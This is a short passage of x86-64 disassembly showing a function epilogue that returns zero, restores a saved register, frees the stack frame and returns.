jne 0x140014955
xor al, al
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret